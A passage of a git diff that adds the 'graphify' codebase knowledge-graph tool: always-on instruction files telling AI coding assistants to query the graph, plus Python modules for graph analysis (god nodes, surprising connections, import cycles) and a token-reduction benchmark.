graphify-out/GRAPH_REPORT.md only for broad architecture review or when query/path/explain do not surface enough context +- After modifying code files in this session, run `graphify update .` to keep the graph current (AST-only, no API cost) diff --git a/skills/graphify/always_on/claude-md.md b/skills/graphify/always_on/claude-md.md new file mode 100644 index 00000000..417efeb2 --- /dev/null +++ b/skills/graphify/always_on/claude-md.md @@ -0,0 +1,9 @@ +## graphify + +This project has a knowledge graph at graphify-out/ with god nodes, community structure, and cross-file relationships. + +Rules: +- For codebase questions, first run `graphify query ""` when graphify-out/graph.json exists. Use `graphify path "" ""` for relationships and `graphify explain ""` for focused concepts. These return a scoped subgraph, usually much smaller than GRAPH_REPORT.md or raw grep output. +- If graphify-out/wiki/index.md exists, use it for broad navigation instead of raw source browsing. +- Read graphify-out/GRAPH_REPORT.md only for broad architecture review or when query/path/explain do not surface enough context. +- After modifying code, run `graphify update .` to keep the graph current (AST-only, no API cost). diff --git a/skills/graphify/always_on/gemini-md.md b/skills/graphify/always_on/gemini-md.md new file mode 100644 index 00000000..417efeb2 --- /dev/null +++ b/skills/graphify/always_on/gemini-md.md @@ -0,0 +1,9 @@ +## graphify + +This project has a knowledge graph at graphify-out/ with god nodes, community structure, and cross-file relationships. + +Rules: +- For codebase questions, first run `graphify query ""` when graphify-out/graph.json exists. Use `graphify path "" ""` for relationships and `graphify explain ""` for focused concepts. These return a scoped subgraph, usually much smaller than GRAPH_REPORT.md or raw grep output. +- If graphify-out/wiki/index.md exists, use it for broad navigation instead of raw source browsing. +- Read graphify-out/GRAPH_REPORT.md only for broad architecture review or when query/path/explain do not surface enough context. +- After modifying code, run `graphify update .` to keep the graph current (AST-only, no API cost). diff --git a/skills/graphify/always_on/kiro-steering.md b/skills/graphify/always_on/kiro-steering.md new file mode 100644 index 00000000..cb6f4543 --- /dev/null +++ b/skills/graphify/always_on/kiro-steering.md @@ -0,0 +1,5 @@ +--- +inclusion: always +--- + +graphify: A knowledge graph of this project lives in `graphify-out/`. For codebase, architecture, or dependency questions, when `graphify-out/graph.json` exists, first run `graphify query ""` (or `graphify path "" ""` / `graphify explain ""`). These return a scoped subgraph, usually much smaller than `GRAPH_REPORT.md` or raw grep output. Read `GRAPH_REPORT.md` only for broad architecture review or when those commands do not surface enough context. diff --git a/skills/graphify/always_on/vscode-instructions.md b/skills/graphify/always_on/vscode-instructions.md new file mode 100644 index 00000000..9cb983c9 --- /dev/null +++ b/skills/graphify/always_on/vscode-instructions.md @@ -0,0 +1,17 @@ +## graphify + +For any question about this repo's architecture, structure, components, or how to add/modify/find +code, your first action should be `graphify query ""` when `graphify-out/graph.json` +exists. Use `graphify path "" ""` for relationship questions and `graphify explain ""` +for focused-concept questions. These return a scoped subgraph, usually much smaller than the full +report or raw grep output. + +Triggers: "how do I…", "where is…", "what does … do", "add/modify a ", +"explain the architecture", or anything that depends on how files or classes relate. + +If `graphify-out/wiki/index.md` exists, use it for broad navigation. Read `graphify-out/GRAPH_REPORT.md` +only for broad architecture review or when query/path/explain do not surface enough context. Only read +source files when (a) modifying/debugging specific code, (b) the graph lacks the needed detail, or +(c) the graph is missing or stale. + +Type `/graphify` in Copilot Chat to build or update the graph. diff --git a/skills/graphify/analyze.py b/skills/graphify/analyze.py new file mode 100644 index 00000000..5f28179d --- /dev/null +++ b/skills/graphify/analyze.py @@ -0,0 +1,724 @@ +"""Graph analysis: god nodes (most connected), surprising connections (cross-community), suggested questions.""" +from __future__ import annotations +from pathlib import Path +import networkx as nx + +from graphify.build import edge_data + +# Builtin/mock names that can appear as annotation-derived nodes in pre-existing +# graphs. Excluded from god-node ranking so they don't displace real abstractions +# even if they weren't filtered at extraction time (#1147). +_BUILTIN_NOISE_LABELS = frozenset({ + "str", "int", "float", "bool", "bytes", "bytearray", "complex", "object", + "True", "False", + "MagicMock", "Mock", "AsyncMock", "NonCallableMock", + "NonCallableMagicMock", "PropertyMock", "patch", "sentinel", +}) + +# Language families — extensions sharing a runtime can legitimately call each other +_LANG_FAMILY: dict[str, str] = { + **{e: "python" for e in (".py", ".pyw")}, + **{e: "js" for e in (".js", ".jsx", ".mjs", ".ejs", ".ts", ".tsx", ".vue", ".svelte")}, + **{e: "go" for e in (".go",)}, + **{e: "rust" for e in (".rs",)}, + **{e: "jvm" for e in (".java", ".kt", ".kts", ".scala")}, + **{e: "c" for e in (".c", ".h", ".cpp", ".cc", ".cxx", ".hpp")}, + **{e: "ruby" for e in (".rb",)}, + **{e: "swift" for e in (".swift",)}, + **{e: "dotnet" for e in (".cs",)}, + **{e: "php" for e in (".php",)}, + **{e: "r" for e in (".r",)}, +} + + +def _cross_language(src_a: str, src_b: str) -> bool: + """Return True if two source files belong to different language families.""" + ext_a = Path(src_a).suffix.lower() + ext_b = Path(src_b).suffix.lower() + fam_a = _LANG_FAMILY.get(ext_a) + fam_b = _LANG_FAMILY.get(ext_b) + if fam_a is None or fam_b is None: + return False + return fam_a != fam_b + + +def _node_community_map(communities: dict[int, list[str]]) -> dict[str, int]: + """Invert communities dict: node_id -> community_id.""" + return {n: cid for cid, nodes in communities.items() for n in nodes} + + +def _is_file_node(G: nx.Graph, node_id: str) -> bool: + """ + Return True if this node is a file-level hub node (e.g. 'client', 'models') + or an AST method stub (e.g. '.auth_flow()', '.__init__()'). + + These are synthetic nodes created by the AST extractor and should be excluded + from god nodes, surprising connections, and knowledge gap reporting. + """ + attrs = G.nodes[node_id] + label = attrs.get("label", "") + if not label: + return False + # File-level hub: label matches the actual source filename (not just any label ending in .py) + source_file = attrs.get("source_file", "") + if source_file: + from pathlib import Path as _Path + if label == _Path(source_file).name: + return True + # Method stub: AST extractor labels methods as '.method_name()' + if label.startswith(".") and label.endswith("()"): + return True + # Module-level function stub: labeled 'function_name()' - only has a contains edge + # These are real functions but structurally isolated by definition; not a gap worth flagging + if label.endswith("()") and G.degree(node_id) <= 1: + return True + return False + + +_JSON_NOISE_LABELS: frozenset[str] = frozenset({ + "start", "end", "name", "id", "type", "properties", + "value", "key", "data", "items", "title", "description", "version", + "dependencies", "devdependencies", "peerdependencies", + "optionaldependencies", "bundleddependencies", "bundledependencies", +}) + + +def _is_json_key_node(G: nx.Graph, node_id: str) -> bool: + attrs = G.nodes[node_id] + src = (attrs.get("source_file") or "").lower() + if not src.endswith(".json"): + return False + label = (attrs.get("label") or "").strip().lower() + return label in _JSON_NOISE_LABELS + + +def god_nodes(G: nx.Graph, top_n: int = 10) -> list[dict]: + """Return the top_n most-connected real entities - the core abstractions. + + File-level hub nodes are excluded: they accumulate import/contains edges + mechanically and don't represent meaningful architectural abstractions. + """ + degree = dict(G.degree()) + sorted_nodes = sorted(degree.items(), key=lambda x: x[1], reverse=True) + result = [] + for node_id, deg in sorted_nodes: + if _is_file_node(G, node_id) or _is_concept_node(G, node_id) or _is_json_key_node(G, node_id): + continue + if G.nodes[node_id].get("label", "") in _BUILTIN_NOISE_LABELS: + continue + result.append({ + "id": node_id, + "label": G.nodes[node_id].get("label", node_id), + "degree": deg, + }) + if len(result) >= top_n: + break + return result + + +def surprising_connections( + G: nx.Graph, + communities: dict[int, list[str]] | None = None, + top_n: int = 5, +) -> list[dict]: + """ + Find connections that are genuinely surprising - not obvious from file structure. + + Strategy: + - Multi-file corpora: cross-file edges between real entities (not concept nodes). + Sorted AMBIGUOUS → INFERRED → EXTRACTED. + - Single-file / single-source corpora: cross-community edges that bridge + distant parts of the graph (betweenness centrality on edges). + These reveal non-obvious structural couplings. + + Concept nodes (empty source_file, or injected semantic annotations) are excluded + from surprising connections because they are intentional, not discovered. + """ + # Identify unique source files (ignore empty/null source_file) + source_files = { + data.get("source_file", "") + for _, data in G.nodes(data=True) + if data.get("source_file", "") + } + is_multi_source = len(source_files) > 1 + + if is_multi_source: + return _cross_file_surprises(G, communities or {}, top_n) + else: + return _cross_community_surprises(G, communities or {}, top_n) + + +def _is_concept_node(G: nx.Graph, node_id: str) -> bool: + """ + Return True if this node is a manually-injected semantic concept node + rather than a real entity found in source code. + + Signals: + - Empty source_file + - source_file doesn't look like a real file path (no extension) + """ + data = G.nodes[node_id] + source = data.get("source_file", "") + if not source: + return True + # Has no file extension → probably a concept label, not a real file + if "." not in source.split("/")[-1]: + return True + return False + + +from graphify.detect import CODE_EXTENSIONS, DOC_EXTENSIONS, PAPER_EXTENSIONS, IMAGE_EXTENSIONS + + +def _file_category(path: str) -> str: + ext = ("." + path.rsplit(".", 1)[-1].lower()) if "." in path else "" + if ext in CODE_EXTENSIONS: + return "code" + if ext in PAPER_EXTENSIONS: + return "paper" + if ext in IMAGE_EXTENSIONS: + return "image" + return "doc" + + +def _top_level_dir(path: str) -> str: + """Return the first path component - used to detect cross-repo edges.""" + return path.split("/")[0] if "/" in path else path + + +def _surprise_score( + G: nx.Graph, + u: str, + v: str, + data: dict, + node_community: dict[str, int], + u_source: str, + v_source: str, + degrees: dict[str, int] | None = None, +) -> tuple[int, list[str]]: + """Score how surprising a cross-file edge is. Returns (score, reasons).""" + score = 0 + reasons: list[str] = [] + + # 1. Confidence weight - uncertain connections are more noteworthy + conf = data.get("confidence", "EXTRACTED") + relation = data.get("relation", "") + conf_bonus = {"AMBIGUOUS": 3, "INFERRED": 2, "EXTRACTED": 1}.get(conf, 1) + + cat_u = _file_category(u_source) + cat_v = _file_category(v_source) + + # Suppress all structural bonuses for INFERRED calls/uses that cross language + # boundaries or connect code to a doc file. Both cases are resolver pollution: + # label-matching fires across language families in monorepos, and code→doc + # "calls" edges are extraction artefacts, not real architecture. + # Excludes `semantically_similar_to` (genuine cross-boundary insight) and all + # AMBIGUOUS/EXTRACTED edges (not from the resolver path). + _suppress_structural = ( + conf == "INFERRED" + and relation in ("calls", "uses") + and (_cross_language(u_source, v_source) or {cat_u, cat_v} == {"code", "doc"}) + ) + if _suppress_structural: + conf_bonus = 0 + + score += conf_bonus + if conf in ("AMBIGUOUS", "INFERRED"): + reasons.append(f"{conf.lower()} connection - not explicitly stated in source") + + # 2. Cross file-type bonus - code↔paper or code↔image is non-obvious + if cat_u != cat_v and not _suppress_structural: + score += 2 + reasons.append(f"crosses file types ({cat_u} ↔ {cat_v})") + + # 3. Cross-repo bonus - different top-level directory + if _top_level_dir(u_source) != _top_level_dir(v_source) and not _suppress_structural: + score += 2 + reasons.append("connects across different repos/directories") + + # 4. Cross-community bonus - Leiden says these are structurally distant + cid_u = node_community.get(u) + cid_v = node_community.get(v) + if cid_u is not None and cid_v is not None and cid_u != cid_v and not _suppress_structural: + score += 1 + reasons.append("bridges separate communities") + + # 4b. Semantic similarity bonus - non-obvious conceptual links score higher + if data.get("relation") == "semantically_similar_to": + score = int(score * 1.5) + reasons.append("semantically similar concepts with no structural link") + + # 5. Peripheral→hub: a low-degree node connecting to a high-degree one + deg_u = degrees[u] if degrees is not None else G.degree(u) + deg_v = degrees[v] if degrees is not None else G.degree(v) + if min(deg_u, deg_v) <= 2 and max(deg_u, deg_v) >= 5: + score += 1 + peripheral = G.nodes[u].get("label", u) if deg_u <= 2 else G.nodes[v].get("label", v) + hub = G.nodes[v].get("label", v) if deg_u <= 2 else G.nodes[u].get("label", u) + reasons.append(f"peripheral node `{peripheral}` unexpectedly reaches hub `{hub}`") + + return score, reasons + + +def _cross_file_surprises(G: nx.Graph, communities: dict[int, list[str]], top_n: int) -> list[dict]: + """ + Cross-file edges between real code/doc entities, ranked by a composite + surprise score rather than confidence alone. + + Surprise score accounts for: + - Confidence (AMBIGUOUS > INFERRED > EXTRACTED) + - Cross file-type (code↔paper is more surprising than code↔code) + - Cross-repo (different top-level directory) + - Cross-community (Leiden says structurally distant) + - Peripheral→hub (low-degree node reaching a god node) + + Each result includes a 'why' field explaining what makes it non-obvious. + """ + node_community = _node_community_map(communities) + degrees = dict(G.degree()) + candidates = [] + + for u, v, data in G.edges(data=True): + relation = data.get("relation", "") + if relation in ("imports", "imports_from", "contains", "method"): + continue + if _is_concept_node(G, u) or _is_concept_node(G, v): + continue + if _is_file_node(G, u) or _is_file_node(G, v): + continue + + u_source = G.nodes[u].get("source_file", "") + v_source = G.nodes[v].get("source_file", "") + + if not u_source or not v_source or u_source == v_source: + continue + + score, reasons = _surprise_score(G, u, v, data, node_community, u_source, v_source, degrees) + src_id = data.get("_src", u) + if src_id not in G.nodes: + src_id = u + tgt_id = data.get("_tgt", v) + if tgt_id not in G.nodes: + tgt_id = v + candidates.append({ + "_score": score, + "source": G.nodes[src_id].get("label", src_id), + "target": G.nodes[tgt_id].get("label", tgt_id), + "source_files": [ + G.nodes[src_id].get("source_file", ""), + G.nodes[tgt_id].get("source_file", ""), + ], + "confidence": data.get("confidence", "EXTRACTED"), + "relation": relation, + "why": "; ".join(reasons) if reasons else "cross-file semantic connection", + }) + + candidates.sort(key=lambda x: x["_score"], reverse=True) + for c in candidates: + c.pop("_score") + + if candidates: + return candidates[:top_n] + + return _cross_community_surprises(G, communities, top_n) + + +def _cross_community_surprises( + G: nx.Graph, + communities: dict[int, list[str]], + top_n: int, +) -> list[dict]: + """ + For single-source corpora: find edges that bridge different communities. + These are surprising because Leiden grouped everything else tightly - + these edges cut across the natural structure. + + Falls back to high-betweenness edges if no community info is provided. + """ + if not communities: + # No community info - use edge betweenness centrality + if G.number_of_edges() == 0: + return [] + if G.number_of_nodes() > 5000: + return [] + betweenness = nx.edge_betweenness_centrality(G) + top_edges = sorted(betweenness.items(), key=lambda x: x[1], reverse=True)[:top_n] + result = [] + for (u, v), score in top_edges: + data = edge_data(G, u, v) + result.append({ + "source": G.nodes[u].get("label", u), + "target": G.nodes[v].get("label", v), + "source_files": [ + G.nodes[u].get("source_file", ""), + G.nodes[v].get("source_file", ""), + ], + "confidence": data.get("confidence", "EXTRACTED"), + "relation": data.get("relation", ""), + "note": f"Bridges graph structure (betweenness={score:.3f})", + }) + return result + + # Build node → community map + node_community = _node_community_map(communities) + + surprises = [] + for u, v, data in G.edges(data=True): + cid_u = node_community.get(u) + cid_v = node_community.get(v) + if cid_u is None or cid_v is None or cid_u == cid_v: + continue + # Skip file hub nodes and plain structural edges + if _is_file_node(G, u) or _is_file_node(G, v): + continue + relation = data.get("relation", "") + if relation in ("imports", "imports_from", "contains", "method"): + continue + # This edge crosses community boundaries - interesting + confidence = data.get("confidence", "EXTRACTED") + src_id = data.get("_src", u) + if src_id not in G.nodes: + src_id = u + tgt_id = data.get("_tgt", v) + if tgt_id not in G.nodes: + tgt_id = v + surprises.append({ + "source": G.nodes[src_id].get("label", src_id), + "target": G.nodes[tgt_id].get("label", tgt_id), + "source_files": [ + G.nodes[src_id].get("source_file", ""), + G.nodes[tgt_id].get("source_file", ""), + ], + "confidence": confidence, + "relation": relation, + "note": f"Bridges community {cid_u} → community {cid_v}", + "_pair": tuple(sorted([cid_u, cid_v])), + }) + + # Sort: AMBIGUOUS first, then INFERRED, then EXTRACTED + order = {"AMBIGUOUS": 0, "INFERRED": 1, "EXTRACTED": 2} + surprises.sort(key=lambda x: order.get(x["confidence"], 3)) + + # Deduplicate by community pair - one representative edge per (A→B) boundary. + # Without this, a single high-betweenness god node dominates all results. + seen_pairs: set[tuple] = set() + deduped = [] + for s in surprises: + pair = s.pop("_pair") + if pair not in seen_pairs: + seen_pairs.add(pair) + deduped.append(s) + return deduped[:top_n] + + +def suggest_questions( + G: nx.Graph, + communities: dict[int, list[str]], + community_labels: dict[int, str], + top_n: int = 7, +) -> list[dict]: + """ + Generate questions the graph is uniquely positioned to answer. + Based on: AMBIGUOUS edges, bridge nodes, underexplored god nodes, isolated nodes. + Each question has a 'type', 'question', and 'why' field. + """ + if community_labels: + community_labels = {int(k) if isinstance(k, str) else k: v for k, v in community_labels.items()} + + questions = [] + node_community = _node_community_map(communities) + + # 1. AMBIGUOUS edges → unresolved relationship questions + for u, v, data in G.edges(data=True): + if data.get("confidence") == "AMBIGUOUS": + ul = G.nodes[u].get("label", u) + vl = G.nodes[v].get("label", v) + relation = data.get("relation", "related to") + questions.append({ + "type": "ambiguous_edge", + "question": f"What is the exact relationship between `{ul}` and `{vl}`?", + "why": f"Edge tagged AMBIGUOUS (relation: {relation}) - confidence is low.", + }) + + # 2. Bridge nodes (high betweenness) → cross-cutting concern questions + if G.number_of_edges() > 0: + k = min(100, G.number_of_nodes()) if G.number_of_nodes() > 1000 else None + betweenness = nx.betweenness_centrality(G, k=k, seed=42) + # Top bridge nodes that are NOT file-level hubs + bridges = sorted( + [(n, s) for n, s in betweenness.items() + if not _is_file_node(G, n) and not _is_concept_node(G, n) and s > 0], + key=lambda x: x[1], + reverse=True, + )[:3] + for node_id, score in bridges: + label = G.nodes[node_id].get("label", node_id) + cid = node_community.get(node_id) + comm_label = community_labels.get(cid, f"Community {cid}") if cid is not None else "unknown" + neighbors = list(G.neighbors(node_id)) + neighbor_comms = {node_community.get(n) for n in neighbors if node_community.get(n) != cid} + if neighbor_comms: + other_labels = [community_labels.get(c, f"Community {c}") for c in neighbor_comms] + questions.append({ + "type": "bridge_node", + "question": f"Why does `{label}` connect `{comm_label}` to {', '.join(f'`{l}`' for l in other_labels)}?", + "why": f"High betweenness centrality ({score:.3f}) - this node is a cross-community bridge.", + }) + + # 3. God nodes with many INFERRED edges → verification questions + degree = dict(G.degree()) + top_nodes = sorted( + [(n, d) for n, d in degree.items() if not _is_file_node(G, n)], + key=lambda x: x[1], + reverse=True, + )[:5] + for node_id, _ in top_nodes: + inferred = [ + (u, v, d) for u, v, d in G.edges(node_id, data=True) + if d.get("confidence") == "INFERRED" + ] + if len(inferred) >= 2: + label = G.nodes[node_id].get("label", node_id) + # Use _src/_tgt to get the correct direction; fall back to v (the other node) + others = [] + for u, v, d in inferred[:2]: + src_id = d.get("_src", u) + if src_id not in G.nodes: + src_id = u + tgt_id = d.get("_tgt", v) + if tgt_id not in G.nodes: + tgt_id = v + other_id = tgt_id if src_id == node_id else src_id + others.append(G.nodes[other_id].get("label", other_id)) + questions.append({ + "type": "verify_inferred", + "question": f"Are the {len(inferred)} inferred relationships involving `{label}` (e.g. with `{others[0]}` and `{others[1]}`) actually correct?", + "why": f"`{label}` has {len(inferred)} INFERRED edges - model-reasoned connections that need verification.", + }) + + # 4. Isolated or weakly-connected nodes → exploration questions + isolated = [ + n for n in G.nodes() + if G.degree(n) <= 1 and not _is_file_node(G, n) and not _is_concept_node(G, n) + ] + if isolated: + labels = [G.nodes[n].get("label", n) for n in isolated[:3]] + questions.append({ + "type": "isolated_nodes", + "question": f"What connects {', '.join(f'`{l}`' for l in labels)} to the rest of the system?", + "why": f"{len(isolated)} weakly-connected nodes found - possible documentation gaps or missing edges.", + }) + + # 5. Low-cohesion communities → structural questions + from .cluster import cohesion_score + for cid, nodes in communities.items(): + score = cohesion_score(G, nodes) + if score < 0.15 and len(nodes) >= 5: + label = community_labels.get(cid, f"Community {cid}") + questions.append({ + "type": "low_cohesion", + "question": f"Should `{label}` be split into smaller, more focused modules?", + "why": f"Cohesion score {score} - nodes in this community are weakly interconnected.", + }) + + if not questions: + return [{ + "type": "no_signal", + "question": None, + "why": ( + "Not enough signal to generate questions. " + "This usually means the corpus has no AMBIGUOUS edges, no bridge nodes, " + "no INFERRED relationships, and all communities are tightly cohesive. " + "Add more files or run with --mode deep to extract richer edges." + ), + }] + + return questions[:top_n] + + +def graph_diff(G_old: nx.Graph, G_new: nx.Graph) -> dict: + """Compare two graph snapshots and return what changed. + + Returns: + { + "new_nodes": [{"id": ..., "label": ...}], + "removed_nodes": [{"id": ..., "label": ...}], + "new_edges": [{"source": ..., "target": ..., "relation": ..., "confidence": ...}], + "removed_edges": [...], + "summary": "3 new nodes, 5 new edges, 1 node removed" + } + """ + old_nodes = set(G_old.nodes()) + new_nodes = set(G_new.nodes()) + + added_node_ids = new_nodes - old_nodes + removed_node_ids = old_nodes - new_nodes + + new_nodes_list = [ + {"id": n, "label": G_new.nodes[n].get("label", n)} + for n in added_node_ids + ] + removed_nodes_list = [ + {"id": n, "label": G_old.nodes[n].get("label", n)} + for n in removed_node_ids + ] + + def edge_key(G: nx.Graph, u: str, v: str, data: dict) -> tuple: + if G.is_directed(): + return (u, v, data.get("relation", "")) + return (min(u, v), max(u, v), data.get("relation", "")) + + old_edge_keys = { + edge_key(G_old, u, v, d) + for u, v, d in G_old.edges(data=True) + } + new_edge_keys = { + edge_key(G_new, u, v, d) + for u, v, d in G_new.edges(data=True) + } + + added_edge_keys = new_edge_keys - old_edge_keys + removed_edge_keys = old_edge_keys - new_edge_keys + + new_edges_list = [] + for u, v, d in G_new.edges(data=True): + if edge_key(G_new, u, v, d) in added_edge_keys: + new_edges_list.append({ + "source": u, + "target": v, + "relation": d.get("relation", ""), + "confidence": d.get("confidence", ""), + }) + + removed_edges_list = [] + for u, v, d in G_old.edges(data=True): + if edge_key(G_old, u, v, d) in removed_edge_keys: + removed_edges_list.append({ + "source": u, + "target": v, + "relation": d.get("relation", ""), + "confidence": d.get("confidence", ""), + }) + + parts = [] + if new_nodes_list: + parts.append(f"{len(new_nodes_list)} new node{'s' if len(new_nodes_list) != 1 else ''}") + if new_edges_list: + parts.append(f"{len(new_edges_list)} new edge{'s' if len(new_edges_list) != 1 else ''}") + if removed_nodes_list: + parts.append(f"{len(removed_nodes_list)} node{'s' if len(removed_nodes_list) != 1 else ''} removed") + if removed_edges_list: + parts.append(f"{len(removed_edges_list)} edge{'s' if len(removed_edges_list) != 1 else ''} removed") + summary = ", ".join(parts) if parts else "no changes" + + return { + "new_nodes": new_nodes_list, + "removed_nodes": removed_nodes_list, + "new_edges": new_edges_list, + "removed_edges": removed_edges_list, + "summary": summary, + } + + +def find_import_cycles( + G: nx.Graph, + max_cycle_length: int = 5, + top_n: int = 20, +) -> list[dict]: + """Detect circular import dependencies at the file level. + + Collapses symbol-level nodes to their parent file (using source_file attr + or 'contains' edges), builds a directed file-level graph from imports_from + edges, then finds simple cycles. + + Args: + G: The full knowledge graph (may be undirected or directed). + max_cycle_length: Only report cycles with at most this many files. + top_n: Maximum number of cycles to return (shortest first). + + Returns: + List of cycle records with stable structure: + { + "cycle": ["a.ts", "b.ts"], + "length": 2, + "why": "circular dependency" + } + """ + def _endpoint_source_file(node_id: str) -> str: + attrs = G.nodes.get(node_id, {}) + src_file = attrs.get("source_file", "") + return src_file if isinstance(src_file, str) else "" + + # Step 1: Build a directed file-level graph from import/re-export edges. + # IMPORTANT: resolve endpoints using source_file only; never infer from label/id. + file_graph = nx.DiGraph() + + for u, v, data in G.edges(data=True): + rel = data.get("relation", "") + if rel not in ("imports_from", "re_exports"): + continue + + src_file_attr = data.get("source_file", "") + if not isinstance(src_file_attr, str) or not src_file_attr: + continue + + u_file = _endpoint_source_file(u) + v_file = _endpoint_source_file(v) + + # Works for both DiGraph and Graph inputs: + # orient edge from edge.source_file endpoint to the opposite endpoint. + if u_file == src_file_attr: + tgt_file = v_file + elif v_file == src_file_attr: + tgt_file = u_file + else: + # Fallback: if source endpoint cannot be matched exactly, + # still treat edge.source_file as source and pick the opposite endpoint + # only if one endpoint has a real source_file. + tgt_file = v_file if v_file and v_file != src_file_attr else u_file + + if not tgt_file: + continue + + file_graph.add_edge(src_file_attr, tgt_file) + + if not file_graph.edges(): + return [] + + # Step 2: Find simple cycles, bounded by length. + cycles: list[list[str]] = [] + for cycle in nx.simple_cycles(file_graph): + if len(cycle) <= max_cycle_length: + cycles.append(cycle) + if len(cycles) >= top_n * 10: + # Stop early to avoid combinatorial explosion + break + + # Step 3: Sort by length (shortest = tightest coupling), then deduplicate. + cycles.sort(key=len) + + # Deduplicate rotations: normalize each cycle by starting from the + # lexicographically smallest element. + seen: set[tuple[str, ...]] = set() + unique_cycles: list[list[str]] = [] + for cycle in cycles: + core = list(cycle) + if not core: + continue + min_idx = core.index(min(core)) + normalized = tuple(core[min_idx:] + core[:min_idx]) + if normalized not in seen: + seen.add(normalized) + unique_cycles.append(list(normalized)) + if len(unique_cycles) >= top_n: + break + + result: list[dict] = [] + for cycle in unique_cycles: + result.append({ + "cycle": cycle, + "length": len(cycle), + "why": "circular dependency", + }) + + return result diff --git a/skills/graphify/benchmark.py b/skills/graphify/benchmark.py new file mode 100644 index 00000000..eabade29 --- /dev/null +++ b/skills/graphify/benchmark.py @@ -0,0 +1,155 @@ +"""Token-reduction benchmark - measures how much context graphify saves vs naive full-corpus approach.""" +from __future__ import annotations +import json +import sys +from pathlib import Path +import networkx as nx +from networkx.readwrite import json_graph + +from graphify.build import edge_data +from graphify.serve import _query_terms + + +_CHARS_PER_TOKEN = 4 # standard approximation + + +def _safe(unicode_char: str, ascii_fallback: str) -> str: + """Return unicode_char if stdout can encode it, else ascii_fallback. + + Windows consoles often default to cp1252 which cannot encode box-drawing + or arrow glyphs; printing them raises UnicodeEncodeError mid-output. + """ + encoding = getattr(sys.stdout, "encoding", None) or "" + try: + unicode_char.encode(encoding) + return unicode_char + except (UnicodeEncodeError, LookupError): + return ascii_fallback + + +def _hr(width: int = 50) -> str: + """Horizontal rule that survives non-UTF-8 stdout (e.g. Windows cp1252 console).""" + return _safe("─", "-") * width + + +def _estimate_tokens(text: str) -> int: + return max(1, len(text) // _CHARS_PER_TOKEN) + + +def _query_subgraph_tokens(G: nx.Graph, question: str, depth: int = 3) -> int: + """Run BFS from best-matching nodes and return estimated tokens in the subgraph context.""" + terms = _query_terms(question) + scored = [] + for nid, data in G.nodes(data=True): + label = data.get("label", "").lower() + score = sum(1 for t in terms if t in label) + if score > 0: + scored.append((score, nid)) + scored.sort(reverse=True) + start_nodes = [nid for _, nid in scored[:3]] + if not start_nodes: + return 0 + + visited: set[str] = set(start_nodes) + frontier = set(start_nodes) + edges_seen: list[tuple] = [] + for _ in range(depth): + next_frontier: set[str] = set() + for n in frontier: + for neighbor in G.neighbors(n): + if neighbor not in visited: + next_frontier.add(neighbor) + edges_seen.append((n, neighbor)) + visited.update(next_frontier) + frontier = next_frontier + + lines = [] + for nid in visited: + d = G.nodes[nid] + lines.append(f"NODE {d.get('label', nid)} src={d.get('source_file', '')} loc={d.get('source_location', '')}") + for u, v in edges_seen: + if u in visited and v in visited: + d = edge_data(G, u, v) + lines.append(f"EDGE {G.nodes[u].get('label', u)} --{d.get('relation', '')}--> {G.nodes[v].get('label', v)}") + + return _estimate_tokens("\n".join(lines)) + + +_SAMPLE_QUESTIONS = [ + "how does authentication work", + "what is the main entry point", + "how are errors handled", + "what connects the data layer to the api", + "what are the core abstractions", +] + + +def run_benchmark( + graph_path: str = "graphify-out/graph.json", + corpus_words: int | None = None, + questions: list[str] | None = None, +) -> dict: + """Measure token reduction: corpus tokens vs graphify query tokens. + + Args: + graph_path: path to the built graph + corpus_words: total word count from detect() output; if None, estimated from graph + questions: list of questions to benchmark; defaults to _SAMPLE_QUESTIONS + + Returns dict with: corpus_tokens, avg_query_tokens, reduction_ratio, per_question + """ + from graphify.security import check_graph_file_size_cap + check_graph_file_size_cap(Path(graph_path)) + data = json.loads(Path(graph_path).read_text(encoding="utf-8")) + try: + G = json_graph.node_link_graph(data, edges="links") + except TypeError: + G = json_graph.node_link_graph(data) + + if corpus_words is None: + # Rough estimate: each node label is ~3 words, plus source context + corpus_words = G.number_of_nodes() * 50 + + corpus_tokens = corpus_words * 100 // 75 # words → tokens (100 words ≈ 133 tokens) + + qs = questions or _SAMPLE_QUESTIONS + per_question = [] + for q in qs: + qt = _query_subgraph_tokens(G, q) + if qt > 0: + per_question.append({"question": q, "query_tokens": qt, "reduction": round(corpus_tokens / qt, 1)}) + + if not per_question: + return {"error": "No matching nodes found for sample questions. Build the graph first."} + + avg_query_tokens = sum(p["query_tokens"] for p in per_question) // len(per_question) + reduction_ratio = round(corpus_tokens / avg_query_tokens, 1) if avg_query_tokens > 0 else 0 + + return { + "corpus_tokens": corpus_tokens, + "corpus_words": corpus_words, + "nodes": G.number_of_nodes(), + "edges": G.number_of_edges(), + "avg_query_tokens": avg_query_tokens, + "reduction_ratio": reduction_ratio, + "per_question": per_question, + } + + +def print_benchmark(result: dict) -> None: + """Print a human-readable benchmark report.""" + if "error" in result: + print(f"Benchmark error: {result['error']}") + return + + print(f"\ngraphify token reduction benchmark") + print(_hr(50)) + arrow = _safe("→", "->") + print(f" Corpus: {result['corpus_words']:,} words {arrow} ~{result['corpus_tokens']:,} tokens (naive)") + print(f" Graph: {result['nodes']:,} nodes, {result['edges']:,} edges") + print(f" Avg query cost: ~{result['avg_query_tokens']:,} tokens") + print(f" Reduction: {result['reduction_ratio']}x fewer tokens per query") + print(f"\n Per question:") + for p in result["per_question"]: + print(f" [{p['reduction']}x] {p['question'][:55]}") + print() diff --git a/skills/graphify/build.py b/skills/graphify/build.py new file mode 100644 index 00000000..1e040420 --- /dev/null +++ b/skills/graphify/build.py @@ -0,0 +1,487 @@ +# assemble node+edge dicts into a NetworkX graph, preserving edge direction +# +# Node deduplication — three layers: +# +# 1. Within a file (AST): each extractor tracks a `seen_ids` set. A node ID is +# emitted at most once per file, so duplicate class/function definitions in +# the same source file are collapsed to the first occurrence. +# +# 2. Between files (build): NetworkX G.add_node() is idempotent — calling it +# twice with the same ID overwrites the attributes with the second call's +# values. Nodes are added in extraction order (AST first, then semantic), +# so if the same entity is extracted by both passes the semantic node +# silently overwrites the AST node. This is intentional: semantic nodes +# carry richer labels and cross-file context, while AST nodes have precise +# source_location. If you need to change the priority, reorder extractions +# passed to build(). +# +# 3. Semantic merge (skill): before calling build(), the skill merges cached +# and new semantic results using an explicit `seen` set keyed on node["id"], +# so duplicates across cache hits and new extractions are resolved there +# before any graph construction happens. +# +from __future__ import annotations +import json +import os +import re +import sys +import unicodedata +from pathlib import Path +import networkx as nx +from .validate import validate_extraction + + +# Synonym mapper for known invalid file_type values that LLM subagents commonly +# emit. Keeps semantic intent close (markdown→document, tool→code) and falls +# back to "concept" for any other invalid value (see #840). 